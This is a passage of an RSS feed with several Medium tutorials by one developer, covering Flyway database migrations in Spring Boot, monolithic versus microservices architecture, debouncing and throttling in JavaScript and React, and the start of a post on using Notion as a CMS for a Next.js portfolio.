checksums, execution times, and installation timestamps.</p><p>Why is this important?</p><p>Imagine you restart your Spring Boot application.</p><p>Will Flyway execute V1 and V2 again?</p><p><strong>No.</strong></p><p>Flyway checks the migration history table and recognizes that these migrations have already been executed successfully.</p><p>It only executes new pending migrations.</p><p>This prevents the same versioned migration from being applied repeatedly.</p><h3>7. What Happens When the Database Structure Changes?</h3><p>Let’s say your application now needs to store product stock quantities.</p><p>You want to add a new column called stock_quantity to the products table.</p><p>Instead of modifying the existing V2 migration, create a new file:</p><pre>V3__add_stock_quantity_to_products.sql</pre><p>Add the following SQL:</p><pre>ALTER TABLE products<br>ADD COLUMN stock_quantity INTEGER DEFAULT 0;</pre><p>Restart your Spring Boot application.</p><p>Flyway detects V3 as a new migration and executes it.</p><p>Your products table now has an additional column.</p><p>This is how you can continuously evolve your database without losing track of previous changes.</p><h3>8. Useful Flyway Commands</h3><p>Flyway provides several commands that help developers manage database migrations.</p><p>Here are some commonly used commands:</p><p>CommandPurposemigrateApplies pending migrations.infoDisplays migration status and history.validateChecks migration consistency and checksums.repairRepairs migration history metadata in supported scenarios.baselineMarks an existing database as being at a specified version.</p><p>For example, if you’re using the Flyway Maven plugin, you can execute:</p><pre>./mvnw flyway:info</pre><p>To validate migrations:</p><pre>./mvnw flyway:validate</pre><p>To execute pending migrations:</p><pre>./mvnw flyway:migrate</pre><p>The Maven plugin must be configured in your project to use these Maven goals.</p><p>For most Spring Boot applications with Flyway auto-configuration, you don’t need to manually run the migrate command every time. Spring Boot automatically triggers migrations during application startup.</p><h3>9. Best Practices When Using Flyway</h3><p>Here are some important practices to follow when working with Flyway in real-world projects.</p><p><strong>1. Never modify applied migrations</strong></p><p>Once a migration has been applied to a shared environment, avoid changing its contents.</p><p>Create a new migration for additional changes.</p><p><strong>2. Use meaningful migration names</strong></p><p>Instead of:</p><pre>V1__update.sql<br>V2__changes.sql</pre><p>Prefer:</p><pre>V1__create_users_table.sql<br>V2__add_email_to_users.sql<br>V3__create_products_table.sql</pre><p><strong>3. Keep migrations small and focused</strong></p><p>Each migration should ideally represent one logical database change.</p><p><strong>4. Commit migration files to Git</strong></p><p>Migration files should be part of your application’s source code.</p><p>This ensures every developer and deployment environment uses the same migration history.</p><p><strong>5. Test migrations before production deployment</strong></p><p>Always test your migration scripts against a development or staging database before applying them to production.</p><p><strong>6. Be careful with destructive changes</strong></p><p>Operations such as dropping tables or deleting columns can permanently remove data.</p><p>Plan these changes carefully and take appropriate backups.</p><p><strong>7. Use validation</strong></p><p>Flyway validation helps detect unexpected changes to migration files, including checksum mismatches.</p><p>It is especially useful in team-based development environments.</p><h3>10. Flyway vs. Manually Executing SQL Scripts</h3><p>You might wonder why we need Flyway when we can execute SQL queries directly.</p><p>The main difference is how database changes are organized and tracked.</p><p>Manual SQL executionFlywayDevelopers execute scripts manually.Migrations can run automatically.Tracking executed scripts is manual.Migration history is maintained automatically.Different environments may become inconsistent.The same migration sequence can be applied across environments.Changes may be forgotten during deployment.Version-controlled migrations provide a clear deployment history.No built-in migration checksum validation.Flyway validates migration checksums.</p><p>For small applications, manual SQL scripts might seem manageable.</p><p>However, as your application grows and more developers become involved, using a migration tool becomes increasingly valuable.</p><h3>Conclusion</h3><p>Database changes are an unavoidable part of software development. As applications grow, managing those changes manually becomes more difficult and error-prone.</p><p>Flyway simplifies this process by allowing developers to manage database changes through version-controlled migration scripts.</p><p>With Spring Boot integration, you can automatically execute pending migrations whenever your application starts, maintain a consistent database structure, and track the history of every database change.</p><p>If you’re building a Spring Boot application or working on a team-based project, learning Flyway is a valuable skill.</p><p><strong>The key takeaway:</strong> Instead of treating database changes as manual tasks, treat them as part of your application’s source code and deployment workflow.</p><p>Happy coding! 🚀</p><p><strong>Useful Resources</strong></p><ul><li><a href="https://documentation.red-gate.com/flyway">Official Flyway Documentation</a></li><li><a href="https://documentation.red-gate.com/flyway/flyway-concepts/migrations">Flyway Migration Concepts</a></li><li><a href="https://docs.spring.io/spring-boot/reference/">Spring Boot Documentation</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ae3f8ce2dac" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Monolithic Architecture vs Microservices Architecture: Which One Should You Choose?]]></title>
            <link>https://medium.com/@mwandanam/monolithic-architecture-vs-microservices-architecture-which-one-should-you-choose-0257b87be52e?source=rss-738f8c2c9b73------2</link>
            <guid isPermaLink="false">https://medium.com/p/0257b87be52e</guid>
            <category><![CDATA[java]]></category>
            <category><![CDATA[monolithic-architecture]]></category>
            <category><![CDATA[microservices]]></category>
            <category><![CDATA[architecture]]></category>
            <category><![CDATA[monolithic]]></category>
            <dc:creator><![CDATA[Wandana Maddumage]]></dc:creator>
            <pubDate>Tue, 10 Nov 2026 17:18:33 GMT</pubDate>
            <atom:updated>2026-11-10T17:19:05.689Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qmB4Qfr2nGpgy-VUmJGKvA.jpeg" /></figure><p>When building a software application, one of the most important decisions developers make is choosing the right architecture.</p><p>As an application grows, its architecture affects how developers organize code, maintain features, deploy updates, handle failures, and scale the system.</p><p>Two widely used architectural approaches are <strong>Monolithic Architecture</strong> and <strong>Microservices Architecture</strong>.</p><p>Microservices are often associated with modern, scalable applications, while monolithic applications are sometimes considered outdated or difficult to maintain. However, this comparison is not as simple as it seems.</p><p>Both architectures have advantages and disadvantages. Choosing the right one depends on the application’s requirements, complexity, development team, infrastructure, and long-term goals.</p><p>Let’s understand how they work and when to use each approach.</p><h3>1. What Is Monolithic Architecture?</h3><p>A monolithic architecture is a software design approach in which an application is developed, packaged, and deployed as a single unit.</p><p>The application may contain multiple modules, such as authentication, product management, order processing, payment processing, and inventory management. However, these modules operate within the same application.</p><p>Consider an e-commerce application.</p><p>It might contain the following modules:</p><ul><li>Authentication and user management</li><li>Product catalog</li><li>Shopping cart</li><li>Checkout</li><li>Payment processing</li><li>Order management</li><li>Inventory management</li><li>Delivery management</li></ul><p>In a monolithic application, all these modules are part of one backend application.</p><h3>How Does It Work?</h3><p>When a customer places an order, the application can communicate with its internal modules through method calls.</p><p>For example:</p><ol><li>The customer adds products to the cart.</li><li>The checkout module validates the cart.</li><li>The inventory module checks product availability.</li><li>The payment module processes the payment.</li><li>The order module creates the order.</li></ol><p>All these operations happen inside the same application.</p><h3>Example: Monolithic Project Structure</h3><p>A Spring Boot monolithic application might have the following structure:</p><pre>ecommerce-backend/<br>│<br>└── src/main/java/com/example/ecommerce/<br>    │<br>    ├── auth/<br>    ├── catalog/<br>    ├── cart/<br>    ├── checkout/<br>    ├── payment/<br>    ├── order/<br>    ├── inventory/<br>    └── delivery/</pre><p>Although the application contains multiple modules, they are deployed together as one application.</p><h3>Advantages of Monolithic Architecture</h3><p><strong>1. Simpler Development</strong></p><p>Developers can work within one codebase without managing multiple independent services.</p><p><strong>2. Easier Debugging</strong></p><p>Since the application runs as one unit, debugging and tracing execution across modules can be relatively straightforward.</p><p><strong>3. Simple Deployment</strong></p><p>The application can be packaged and deployed as a single artifact.</p><p><strong>4. Easier Communication</strong></p><p>Modules can communicate through internal method calls without requiring network requests between services.</p><p><strong>5. Lower Infrastructure Complexity</strong></p><p>A monolithic application generally requires fewer infrastructure components than a distributed microservices system.</p><h3>Disadvantages of Monolithic Architecture</h3><p><strong>1. Scaling Limitations</strong></p><p>If one module requires more resources, scaling the entire application may be necessary.</p><p><strong>2. Increasing Codebase Complexity</strong></p><p>As the application grows, poorly organized code can become difficult to understand and maintain.</p><p><strong>3. Deployment Dependencies</strong></p><p>Even a small change in one module may require deploying the entire application.</p><p><strong>4. Potentially Larger Failure Impact</strong></p><p>A serious application-level failure can affect the entire system.</p><p><strong>5. Technology Limitations</strong></p><p>Modules generally share the same runtime and application technology stack, making independent technology choices more difficult.</p><p>However, these disadvantages are not inevitable. Good modular design can significantly improve the maintainability of a monolithic application.</p><h3>2. What Is Microservices Architecture?</h3><p>Microservices architecture is an approach in which an application is divided into multiple small, independently deployable services.</p><p>Each service is responsible for a specific business capability and communicates with other services through well-defined interfaces.</p><p>Unlike a traditional monolithic application, microservices do not need to run inside one application process.</p><p>Let’s consider the same e-commerce application.</p><p>Instead of building one backend application, we can divide it into separate services:</p><ul><li>Authentication Service</li><li>Product Service</li><li>Cart Service</li><li>Order Service</li><li>Payment Service</li><li>Inventory Service</li><li>Delivery Service</li></ul><p>Each service can be developed, deployed, and scaled independently.</p><h3>How Does It Work?</h3><p>Imagine a customer placing an order.</p><ol><li>The frontend sends a request to the API Gateway.</li><li>The Order Service receives the order request.</li><li>The Order Service communicates with the Inventory Service to check availability.</li><li>The Payment Service processes the payment.</li><li>The Order Service updates the order status.</li><li>The Notification Service sends an order confirmation.</li></ol><p>Services communicate through mechanisms such as REST APIs, gRPC, or asynchronous messaging.</p><h3>Example: Microservices Project Structure</h3><pre>ecommerce/<br>│<br>├── api-gateway/<br>│<br>├── auth-service/<br>│<br>├── product-service/<br>│<br>├── cart-service/<br>│<br>├── order-service/<br>│<br>├── payment-service/<br>│<br>├── inventory-service/<br>│<br>└── delivery-service/</pre><p>Each service can have its own codebase, deployment pipeline, and database.</p><h3>Advantages of Microservices Architecture</h3><p><strong>1. Independent Deployment</strong></p><p>Developers can deploy changes to one service without necessarily redeploying the entire system.</p><p><strong>2. Independent Scaling</strong></p><p>If the Product Service receives significantly more traffic than other services, it can be scaled independently.</p><p><strong>3. Technology Flexibility</strong></p><p>Different services can use different programming languages, frameworks, or technologies when there is a valid reason.</p><p><strong>4. Better Team Independence</strong></p><p>Different teams can own different services and work on them independently.</p><p><strong>5. Failure Isolation</strong></p><p>With proper fault-tolerance mechanisms, failures in one service can be prevented from cascading throughout the system.</p><h3>Disadvantages of Microservices Architecture</h3><p><strong>1. Increased Complexity</strong></p><p>Developers must manage multiple services, deployments, configurations, and communication channels.</p><p><strong>2. Network Communication</strong></p><p>Unlike internal method calls, service-to-service communication happens over a network. This introduces latency and potential network failures.</p><p><strong>3. Distributed Data Management</strong></p><p>Maintaining data consistency across multiple services can be challenging.</p><p><strong>4. More Infrastructure Requirements</strong></p><p>Microservices often require API gateways, service discovery, centralized logging, monitoring, message brokers, and container orchestration.</p><p><strong>5. Difficult Debugging</strong></p><p>A single user request might travel through several services. Tracing problems across them requires distributed tracing and centralized observability.</p><p>Microservices provide flexibility, but that flexibility comes with operational responsibility.</p><h3>3. Monolithic Architecture vs Microservices Architecture</h3><p>Let’s compare both approaches.</p><p>FeatureMonolithicMicroservicesApplication structureOne applicationMultiple servicesCodebaseUsually oneMultipleDeploymentTogetherIndependentlyCommunicationInternal method callsAPIs and messagingScalingUsually entire applicationIndividual servicesDatabaseOften sharedOften independently ownedTechnology stackUsually sharedCan varyTestingRelatively straightforwardMore complexInfrastructureSimplerMore complexInitial developmentGenerally fasterGenerally slowerMaintenanceDepends on modularityDepends on service boundaries</p><p>Neither architecture is automatically better than the other.</p><p>The right choice depends on what the application needs.</p><h3>4. Understanding Modular Monolithic Architecture</h3><p>There is another architectural approach worth understanding: the <strong>Modular Monolith</strong>.</p><p>A modular monolith combines the simplicity of monolithic deployment with the organizational benefits of modular design.</p><p>Instead of placing all application logic into one large, interconnected codebase, developers divide the application into well-defined business modules.</p><p>For example:</p><pre>ecommerce-backend/<br>│<br>└── src/main/java/com/example/ecommerce/<br>    │<br>    ├── auth/<br>    │   ├── controller/<br>    │   ├── service/<br>    │   ├── repository/<br>    │   └── entity/<br>    │<br>    ├── catalog/<br>    │   ├── controller/<br>    │   ├── service/<br>    │   ├── repository/<br>    │   └── entity/<br>    │<br>    ├── order/<br>    │   ├── controller/<br>    │   ├── service/<br>    │   ├── repository/<br>    │   └── entity/<br>    │<br>    └── payment/<br>        ├── controller/<br>        ├── service/<br>        ├── repository/<br>        └── entity/</pre><p>Each module has its own responsibilities and internal implementation.</p><p>Modules communicate through clearly defined interfaces rather than accessing each other’s internal implementation directly.</p><h3>Why Is This Important?</h3><p>Imagine the Order module needs to interact with the Payment module.</p><p>Instead of directly accessing the Payment module’s database repository, the Order module should communicate through an exposed service interface.</p><p>This reduces tight coupling and makes individual modules easier to understand, test, and potentially extract into separate services later.</p><p>A modular monolith is particularly useful when:</p><ul><li>The application is growing.</li><li>The development team is relatively small.</li><li>The system has multiple business domains.</li><li>Independent deployment is not yet necessary.</li><li>Developers want to avoid premature distributed-system complexity.</li></ul><p>It offers a practical balance between maintainability and simplicity.</p><h3>5. When Should You Choose Monolithic Architecture?</h3><p>A monolithic architecture is often a good choice when:</p><ul><li>You are building an MVP or a new product.</li><li>The development team is small.</li><li>The business requirements are still evolving.</li><li>The application does not require independent service scaling.</li><li>You want to minimize infrastructure complexity.</li><li>You need to deliver features quickly.</li></ul><p>Starting with a monolith does not mean the application cannot evolve.</p><p>A well-designed monolith can support significant business growth.</p><h3>6. When Should You Choose Microservices Architecture?</h3><p>Microservices may be a better choice when:</p><ul><li>The application has multiple independent business domains.</li><li>Different teams need to own and deploy services independently.</li><li>Different components have significantly different scaling requirements.</li><li>Independent deployment is an important business requirement.</li><li>The organization has the infrastructure and expertise to operate distributed systems.</li><li>There is a clear business or technical reason to separate services.</li></ul><p>However, splitting an application into microservices simply because the application is becoming larger is not always the right decision.</p><p>Sometimes, improving the existing modular architecture is enough.</p><h3>7. Can You Start With a Monolith and Move to Microservices Later?</h3><p>Absolutely.</p><p>In fact, this can be a sensible strategy for many applications.</p><p>Start with a modular monolith, establish clear business boundaries, and identify which modules genuinely need independent deployment or scaling.</p><p>When the need arises, individual modules can be extracted into separate services.</p><p>For example:</p><pre>Initial Architecture:</pre><pre>          E-commerce Backend<br>                 |<br>      -----------------------<br>      |      |      |       |<br>    Order  Payment Inventory Delivery<br></pre><pre>Future Architecture:</pre><pre>             API Gateway<br>                  |<br>       -------------------------<br>       |       |       |       |<br>     Order  Payment Inventory Delivery<br>    Service Service  Service  Service</pre><p>This transition should be gradual.</p><p>A useful approach is the <strong>Strangler Fig Pattern</strong>, where new functionality is progressively moved into independent services while the existing application continues operating.</p><p>This avoids the risks of rewriting the entire application at once.</p><h3>8. Common Mistakes When Choosing an Architecture</h3><p>Here are some mistakes developers and organizations should avoid.</p><p><strong>1. Choosing Microservices Because They Are Popular</strong></p><p>Microservices are not automatically the best solution for every modern application.</p><p><strong>2. Building a Monolith Without Module Boundaries</strong></p><p>A monolith can become difficult to maintain if every module depends directly on every other module.</p><p><strong>3. Sharing One Database Across Microservices Without Clear Ownership</strong></p><p>Independent services should generally own their data. Sharing database tables across services creates tight coupling.</p><p><strong>4. Ignoring Operational Complexity</strong></p><p>Microservices require monitoring, logging, distributed tracing, security, deployment automation, and failure-handling strategies.</p><p><strong>5. Premature Optimization</strong></p><p>Don’t introduce complexity to solve scaling problems that do not exist yet.</p><p>Good architecture should solve actual problems, not hypothetical ones.</p><h3>9. Final Thoughts: Architecture Should Follow Business Needs</h3><p>Monolithic and microservices architectures both have important roles in modern software development.</p><p>A monolithic architecture offers simplicity, easier development, and straightforward deployment. Microservices offer independent deployment, flexibility, and the ability to scale individual business capabilities.</p><p>However, architecture is not about choosing the most complicated or fashionable technology.</p><p>It is about making engineering decisions that support the application’s current requirements while allowing it to evolve.</p><p>For many projects, starting with a well-structured modular monolith is a practical approach. As the business grows and genuine technical requirements emerge, specific modules can be extracted into microservices.</p><p><strong>Build for today’s requirements, maintain for tomorrow, and scale when the business needs it.</strong></p><p>The best architecture is not necessarily the one with the most services. It is the one your team can reliably build, understand, operate, and evolve.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0257b87be52e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Debouncing vs Throttling in JavaScript: Explained with Simple Examples]]></title>
            <link>https://medium.com/@mwandanam/debouncing-vs-throttling-in-javascript-explained-with-simple-examples-ed6c6278f302?source=rss-738f8c2c9b73------2</link>
            <guid isPermaLink="false">https://medium.com/p/ed6c6278f302</guid>
            <category><![CDATA[debouncing-vs-throttling]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[throttling-in-javascript]]></category>
            <category><![CDATA[debouncing-in-react]]></category>
            <dc:creator><![CDATA[Wandana Maddumage]]></dc:creator>
            <pubDate>Wed, 21 Oct 2026 07:56:35 GMT</pubDate>
            <atom:updated>2026-10-21T07:57:03.642Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fWIqFk-xK9TOR0OdVDR1Nw.jpeg" /></figure><p>When building frontend applications, we often work with events such as typing, scrolling, resizing, and clicking. These events can happen many times in a short period.</p><p>If we execute a function every time an event occurs, we may perform unnecessary calculations or send too many API requests.</p><p>This is where <strong>debouncing and throttling</strong> become useful.</p><p>Both techniques help control how frequently a function executes. However, they work differently, and understanding that difference is important for every frontend developer.</p><p>In this article, we’ll explore what debouncing and throttling are, how they work, when to use them, and how to implement them in JavaScript.</p><h3>1. What Is Debouncing?</h3><p>Debouncing is a technique that delays a function’s execution until a specified amount of time has passed without another event occurring.</p><p>In simple terms, <strong>debouncing waits until the user stops performing an action before executing the function.</strong></p><h3>A real-world example: Search input</h3><p>Imagine you’re building a search feature for an e-commerce website.</p><p>When a user types React, the input event fires for each character:</p><ul><li>R</li><li>Re</li><li>Rea</li><li>Reac</li><li>React</li></ul><p>Without debouncing, your application might send five API requests.</p><p>But do we really need to search after every character?</p><p>Usually, no. We can wait until the user stops typing for 500 milliseconds and then send a single request.</p><h3>How does debouncing work?</h3><ol><li>The user types a character.</li><li>A timer starts.</li><li>If the user types another character, the previous timer is cancelled.</li><li>A new timer starts.</li><li>If no new event occurs for 500 milliseconds, the function executes.</li></ol><h3>Implementing debouncing in JavaScript</h3><pre>function debounce(callback, delay) {<br>  let timer;</pre><pre>  return function (...args) {<br>    clearTimeout(timer);</pre><pre>    timer = setTimeout(() =&gt; {<br>      callback.apply(this, args);<br>    }, delay);<br>  };<br>}</pre><pre>function searchProducts(query) {<br>  console.log(&quot;Searching for:&quot;, query);<br>}</pre><pre>const debouncedSearch = debounce(searchProducts, 500);</pre><pre>// Simulate typing<br>debouncedSearch(&quot;R&quot;);<br>debouncedSearch(&quot;Re&quot;);<br>debouncedSearch(&quot;Rea&quot;);<br>debouncedSearch(&quot;React&quot;);</pre><p>In this example, only the final call executes if all calls happen within the same 500-millisecond waiting period.</p><p>Let’s understand the important parts:</p><ul><li>setTimeout() schedules the function to run after a delay.</li><li>clearTimeout() cancels the previous timer.</li><li>...args preserves the arguments passed to the function.</li><li>callback.apply(this, args) calls the original function with its arguments and calling context.</li></ul><p><strong>Important:</strong> Debouncing reduces repeated function executions. It does not automatically cancel an API request that has already started.</p><h3>When should you use debouncing?</h3><p>Common use cases include:</p><ul><li>Search inputs and autocomplete.</li><li>Validating form fields after typing.</li><li>Saving drafts automatically after the user pauses.</li><li>Filtering large datasets after the user finishes entering a query.</li></ul><h3>2. What Is Throttling?</h3><p>Throttling is a technique that limits how frequently a function can execute during repeated events.</p><p>In simple terms, <strong>throttling allows a function to execute at most once within a specified time interval.</strong></p><p>Unlike debouncing, throttling doesn’t need to wait until the user stops performing an action. It allows executions at controlled intervals while the action continues.</p><h3>A real-world example: Scroll events</h3><p>Imagine you’re building a website that updates an indicator based on the user’s scroll position.</p><p>As the user scrolls, the browser can fire many scroll events in a short period.</p><p>If your function performs expensive calculations for every event, it can waste resources.</p><p>Instead, you can use throttling to limit execution to once every 500 milliseconds.</p><p>The function can execute at the beginning of the scrolling activity and then again after the interval has passed, provided more events occur.</p><h3>How does throttling work?</h3><ol><li>The first event executes the function.</li><li>A timer prevents further executions during the interval.</li><li>After 500 milliseconds, the function is allowed to execute again.</li><li>If more events occur, the process repeats.</li></ol><h3>Implementing throttling in JavaScript</h3><pre>function throttle(callback, delay) {<br>  let lastExecution = 0;</pre><pre>  return function (...args) {<br>    const now = Date.now();</pre><pre>    if (now - lastExecution &gt;= delay) {<br>      lastExecution = now;<br>      callback.apply(this, args);<br>    }<br>  };<br>}</pre><pre>function handleScroll() {<br>  console.log(&quot;Handling scroll...&quot;);<br>}</pre><pre>const throttledScroll = throttle(handleScroll, 500);</pre><pre>// Register the throttled handler<br>window.addEventListener(&quot;scroll&quot;, throttledScroll);</pre><p>Let’s understand the important parts:</p><ul><li>Date.now() returns the current timestamp.</li><li>lastExecution stores when the function last ran.</li><li>now - lastExecution calculates the elapsed time.</li><li>The function executes only when the required interval has passed.</li></ul><p>This implementation uses <strong>leading-edge throttling</strong>: it executes immediately when the interval allows it. If events stop during the waiting period, it does not automatically execute again at the end.</p><h3>When should you use throttling?</h3><p>Common use cases include:</p><ul><li>Handling scroll events.</li><li>Tracking mouse movement.</li><li>Responding to frequent resize events.</li><li>Limiting repeated event-driven calculations.</li><li>Updating UI elements periodically during continuous interactions.</li></ul><h3>3. Debouncing vs Throttling: What’s the Difference?</h3><p>Both techniques control function execution, but their timing behavior is different.</p><p>FeatureDebouncingThrottlingMain ideaWait until events stopLimit execution frequencyExecution timingAfter a quiet periodAt most once per intervalRepeated eventsReset the timerRespect the time intervalBest exampleSearch inputScroll handlingMain benefitAvoids processing every intermediate inputHandles continuous events at a controlled rate</p><p>Here’s the easiest way to remember the difference:</p><p><strong>Debouncing = Wait for a pause.</strong></p><p><strong>Throttling = Control the frequency.</strong></p><h3>4. Can We Use These Techniques in React?</h3><p>Yes! Both techniques are useful in React applications.</p><h3>Debouncing in React</h3><p>Suppose you’re creating a search component that fetches products from an API.</p><p>You can use useEffect with setTimeout and cleanup to wait until the user stops typing.</p><pre>import { useEffect, useState } from &quot;react&quot;;</pre><pre>function SearchBox() {<br>  const [query, setQuery] = useState(&quot;&quot;);</pre><pre>  useEffect(() =&gt; {<br>    if (!query.trim()) return;</pre><pre>    const timer = setTimeout(() =&gt; {<br>      console.log(&quot;Search for:&quot;, query);</pre><pre>      // Call your search API here.<br>    }, 500);</pre><pre>    return () =&gt; clearTimeout(timer);<br>  }, [query]);</pre><pre>  return (<br>    &lt;input<br>      value={query}<br>      onChange={(event) =&gt; setQuery(event.target.value)}<br>      placeholder=&quot;Search products...&quot;<br>    /&gt;<br>  );<br>}</pre><pre>export default SearchBox;</pre><p>Whenever query changes, React runs the effect again. Before running the next effect, React cleans up the previous timer. As a result, the search callback runs only after the user pauses typing for 500 milliseconds.</p><p>This example demonstrates the debouncing behavior; the actual API request still needs to be implemented.</p><h3>Throttling in React</h3><p>For scroll handling, you can create a reusable throttle function and register it as an event listener inside useEffect.</p><p>Remember to remove the event listener during cleanup. Also, if the handler uses React state or props, ensure it accesses the latest values rather than stale values from an earlier render.</p><h3>5. Common Mistakes to Avoid</h3><p>When implementing debouncing and throttling, keep these points in mind:</p><p><strong>1. Forgetting timer cleanup</strong></p><p>An old timer can trigger unwanted behavior if it isn’t cancelled when needed.</p><p><strong>2. Creating a new debounce function on every render</strong></p><p>In React, recreating the debounced function can reset its timer state. Use a stable function reference when necessary.</p><p><strong>3. Assuming throttling always executes at the end</strong></p><p>Some throttle implementations execute only at the beginning of each interval. Others support trailing execution. The exact behavior depends on the implementation.</p><p><strong>4. Thinking these techniques replace all performance optimizations</strong></p><p>Debouncing and throttling control execution frequency. They don’t automatically make an expensive function faster or cancel requests that are already running.</p><h3>6. Interview Question: What’s the Difference Between Debouncing and Throttling?</h3><p>A simple interview answer could be:</p><p>“Debouncing delays function execution until a specified period has passed without another event. For example, I would use debouncing for a search input so that the API is called after the user stops typing.</p><p>Throttling limits how frequently a function executes during repeated events. For example, I would use throttling for scroll handling to prevent a function from running too frequently.</p><p>In short, debouncing waits for a pause, while throttling controls the execution frequency.”</p><h3>Conclusion</h3><p>Debouncing and throttling are simple but powerful techniques for managing frequent events in JavaScript.</p><p>Use debouncing when you care about the user’s final input after a pause. Use throttling when you need to handle continuous events without executing a function too frequently.</p><p>Understanding when and how to use these techniques can help you write more efficient frontend code and build smoother user experiences.</p><p><strong>Keep this in mind:</strong></p><ul><li><strong>Debouncing:</strong> Wait until the action pauses.</li><li><strong>Throttling:</strong> Run at controlled intervals.</li></ul><p>Both techniques are worth understanding if you’re working with JavaScript, React, or modern frontend applications.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ed6c6278f302" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Using Notion as a Database Backend for a Next.js Portfolio: Benefits, Challenges, and Solutions]]></title>
            <link>https://medium.com/@mwandanam/using-notion-as-a-database-backend-for-a-next-js-portfolio-benefits-challenges-and-solutions-3b0e2ce116dd?source=rss-738f8c2c9b73------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b0e2ce116dd</guid>
            <dc:creator><![CDATA[Wandana Maddumage]]></dc:creator>
            <pubDate>Sat, 10 Oct 2026 06:07:52 GMT</pubDate>
            <atom:updated>2026-10-10T06:08:53.388Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RWXfnMYOHZR-66CrOhvk8g.jpeg" /></figure><h3>Introduction</h3><p>When building a personal portfolio, managing projects, work experience, education, and blog posts directly in code can become difficult over time. Every content update may require modifying source files, committing changes, and redeploying the application.</p><p>I wanted a simpler way to manage my portfolio content without having to change my code every time I published a new blog post or updated a project.</p><p>My solution was to use <strong>Notion as a headless CMS (Content Management System)</strong> and connect it to my Next.js portfolio through the Notion API.</p><p>This approach made content management much easier, but it also introduced some unexpected challenges, particularly when deploying the application to Vercel.</p><p>In this article, I’ll explain how the integration works, why I chose Notion, the problems I encountered, and the solutions I explored.</p><h3>1. Why Use Notion as a Backend?</h3><p>Notion is primarily known as a productivity and workspace application, but its databases and API also make it useful as a lightweight content management system.</p><p>Instead of storing portfolio content in hardcoded JavaScript or TypeScript objects, I created Notion databases to manage different types of content.</p><p>For example, my portfolio uses Notion to manage:</p><ul><li>Projects and their descriptions, technologies, and images.</li><li>Work experience and responsibilities.</li><li>Educational qualifications.</li><li>Blog posts, including titles, summaries, cover images, and content.</li></ul><p>This allows me to manage content through Notion’s familiar interface while my Next.js application handles the presentation.</p><h3>Benefits of this approach</h3><p><strong>Easy content management:</strong> I can update portfolio content directly in Notion without editing source code.</p><p><strong>Separation of concerns:</strong> Content management and the frontend application remain separate.</p><p><strong>Faster publishing:</strong> Adding or updating a project or blog post does not necessarily require a new deployment, provided the application fetches the latest content.</p><p><strong>Cost-effective development:</strong> Notion can serve as a convenient CMS for a personal portfolio without requiring me to build a separate admin dashboard.</p><p>However, Notion is not a traditional application database. It has API limitations, request latency, and caching considerations that need to be addressed when using it in a production application.</p><h3>2. Architecture: How the Integration Works</h3><p>My application uses Next.js for the frontend and the official Notion API to retrieve content.</p><p>The architecture can be represented as follows:</p><pre>Notion Workspace<br>                 (Content Management)<br>                         |<br>                         v<br>                    Notion API<br>                         |<br>                         v<br>                  lib/notion-data.ts<br>                (Data Fetching Layer)<br>                         |<br>                         v<br>                   Next.js Pages<br>                         |<br>                         v<br>                  Portfolio Website<br>                    (Vercel)</pre><p>The lib/notion-data.ts file acts as the data-fetching layer. It contains functions responsible for retrieving and processing content from Notion.</p><p>These functions include:</p><ul><li>getProjects() — retrieves portfolio projects.</li><li>getExperience() — retrieves work experience.</li><li>getEducation() — retrieves education records.</li><li>getBlogPosts() — retrieves blog post listings.</li><li>getBlogPostContent() — retrieves the content blocks of a blog post.</li><li>getBlogPostBySlug() — retrieves an individual post using its slug.</li></ul><p>The Next.js pages call these functions and render the returned content.</p><p>For example, the blog listing page retrieves blog posts using getBlogPosts(), while an individual blog page retrieves the post metadata and content using getBlogPostBySlug() and getBlogPostContent().</p><p>This structure keeps API communication separate from the UI and makes the code easier to maintain.</p><h3>3. Challenge One: Temporary Image URLs</h3><p>One of the most confusing problems appeared after deploying my portfolio to Vercel.</p><p>Initially, the website worked correctly. Project images and blog cover images loaded without any issues. Later, some images stopped appearing, even though the content remained available in Notion.</p><p>When I investigated the issue, I discovered that Notion was returning image URLs containing AWS S3 signing parameters, including X-Amz-Expires=3600.</p><p>These URLs are temporary links rather than permanent image addresses.</p><h3>Why do the URLs expire?</h3><p>Notion-hosted files can be delivered through signed URLs that grant temporary access to the underlying file. A URL containing X-Amz-Expires=3600 has a requested validity period of 3,600 seconds, or one hour, subject to the expiration of the underlying credentials.</p><p>For example, a simplified URL might look like this:</p><pre>https://example.s3.amazonaws.com/image.png<br>  ?X-Amz-Algorithm=...<br>  &amp;X-Amz-Date=...<br>  &amp;X-Amz-Expires=3600<br>  &amp;X-Amz-Signature=...</pre><p>The signature and related parameters authorize access to the image for a limited period.</p><p>The important distinction is that <strong>the image may still exist even after the URL stops working</strong>. The browser can receive a 403 Forbidden response because the URL has expired or its authorization is no longer valid.</p><h3>Why did the website work initially?</h3><p>When I first deployed the application, the image URLs returned by Notion were still valid.</p><p>However, if the application continued using the same URLs after they expired, image requests could fail.</p><p>This was especially confusing because the development environment appeared to work correctly. The local development server and the production deployment did not necessarily fetch or cache data in the same way.</p><p>The problem highlighted an important lesson: a URL that works when data is first retrieved should not automatically be treated as a permanent image URL.</p><h3>4. Challenge Two: Next.js Rendering and Caching</h3><p>The next step was understanding how Next.js handles server-side rendering, static generation, and cached data.</p><p>Next.js can render pages in different ways depending on the application’s configuration.</p><h3>Static rendering</h3><p>With static rendering, Next.js can generate a page ahead of time and reuse the generated output for subsequent visitors.</p><p>This can improve performance, but it can also preserve content containing temporary URLs if the page is not regenerated before those URLs expire.</p><h3>Dynamic rendering</h3><p>Dynamic rendering allows Next.js to render a page in response to incoming requests.</p><p>For pages that depend on external data, this can help ensure that the application requests current information when rendering the 